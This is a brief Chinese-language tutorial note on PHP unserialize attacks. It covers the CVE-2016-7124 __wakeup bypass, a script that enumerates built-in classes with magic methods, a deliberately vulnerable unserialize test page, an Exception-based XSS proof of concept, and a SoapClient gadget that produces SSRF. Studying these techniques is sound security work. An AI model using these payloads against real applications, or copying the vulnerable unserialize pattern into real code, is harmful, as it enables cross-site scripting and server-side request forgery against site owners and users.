CVE-2016-7124
绕过__wakeup
原生类:
php中的原生类
<?php$classes = get_declared_classes();foreach ($classes as $class) {$methods = get_class_methods($class);foreach ($methods as $method) {if (in_array($method, array('__destruct','__toString','__wakeup','__call','__callStatic','__get','__set','__isset','__unset','__invoke','__set_state'))) {print $class . '::' . $method . "\n";}}}
测试:
<?phphighlight_file(__file__);$a = unserialize($_GET['k']);echo $a;?>
poc:
<?php$a=new Exception("<script>alert('xiaodi')</script>");echo urlencode(serialize($a));?>
-输出对象可调用__toString
-无代码通过原生类Exception
-Exception使用查询编写利用
-通过访问触发输出产生XSS漏洞
SoapClient原生类:
首先测试下正常情况下的SoapClient类,调用一个不存在的函数,会去调用__call方法。
SSRF:
<?php$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a();
